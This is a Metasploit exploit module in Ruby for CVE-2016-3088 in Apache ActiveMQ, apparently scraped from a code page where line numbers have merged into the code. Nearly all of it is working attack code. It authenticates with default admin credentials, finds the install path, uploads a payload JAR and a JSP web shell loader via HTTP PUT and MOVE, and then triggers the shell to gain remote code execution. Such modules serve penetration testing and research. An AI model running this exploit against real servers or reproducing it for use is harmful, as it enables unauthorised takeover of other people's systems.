Path: blob/master/modules/exploits/multi/http/apache_activemq_upload_jsp.rb
31956 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::FileDropper910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ActiveMQ web shell upload',15'Description' => %q{16The Fileserver web application in Apache ActiveMQ 5.x before 5.14.017allows remote attackers to upload and execute arbitrary files via an18HTTP PUT followed by an HTTP MOVE request.19},20'Author' => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2016-3088' ],24[ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]25],26'Privileged' => true,27'Targets' => [28[29'Java Universal',30{31'Platform' => 'java',32'Arch' => ARCH_JAVA33}34],35[36'Linux',37{38'Platform' => 'linux',39'Arch' => ARCH_X8640}41],42[43'Windows',44{45'Platform' => 'win',46'Arch' => ARCH_X8647}48]49],50'DisclosureDate' => '2016-06-01',51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)59register_options(60[61OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),62OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),63OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),64OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),65Opt::RPORT(8161)66]67)68register_advanced_options(69[70OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])71]72)73end7475def jsp_text(payload_name)76%{77<%@ page import="java.io.*"78%><%@ page import="java.net.*"79%><%80URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});81Class c = cl.loadClass("metasploit.Payload");82c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});83%>}84end8586def exploit87jar_payload = payload.encoded_jar.pack88payload_name = datastore['JSP'] || rand_text_alpha(rand(8..15))89host = "#{datastore['RHOST']}:#{datastore['RPORT']}"90@url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"91paths = get_upload_paths92paths.each do |path|93next unless try_upload(path, jar_payload, payload_name)94break handler if trigger_payload(payload_name)9596print_error('Unable to trigger payload')97end98end99100def try_upload(path, jar_payload, payload_name)101['.jar', '.jsp'].each do |ext|102file_name = payload_name + ext103data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload104move_headers = { 'Destination' => "#{@url}/#{path}/#{file_name}" }105upload_uri = normalize_uri('fileserver', file_name)106print_status("Uploading #{move_headers['Destination']}")107register_files_for_cleanup "#{path}/#{file_name}" if datastore['AutoCleanup'].casecmp('true')108return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&109send_request('MOVE', upload_uri, 204, 'headers' => move_headers)110111@trigger_resource = /webapps(.*)/.match(path)[1]112end113true114end115116def get_upload_paths117base_path = "#{get_install_path}/webapps"118custom_path = datastore['UploadPath']119return [normalize_uri(base_path, custom_path)] unless custom_path.nil?120121[ "#{base_path}/api/", "#{base_path}/admin/" ]122end123124def get_install_path125properties_page = send_request('GET', "#{@url}/admin/test/")126fail_with(Failure::UnexpectedReply, 'Target did not respond with 200 OK to a request to /admin/test/!') if properties_page == false127properties_page = properties_page.body128match = properties_page.match(/activemq\.home=([^,}]+)/)129return match[1] unless match.nil?130end131132def send_request(method, uri, expected_response = 200, opts = {})133opts['headers'] ||= {}134opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])135opts['headers']['Connection'] = 'close'136r = send_request_cgi(137{138'method' => method,139'uri' => uri140}.merge(opts)141)142if r.nil?143fail_with(Failure::Unreachable, 'Could not reach the target!')144end145return false if expected_response != r.code.to_i146147r148end149150def trigger_payload(payload_name)151send_request('POST', @url + @trigger_resource + payload_name + '.jsp')152end153154def error_out155print_error('Upload failed')156@trigger_resource = nil157false158end159end160161162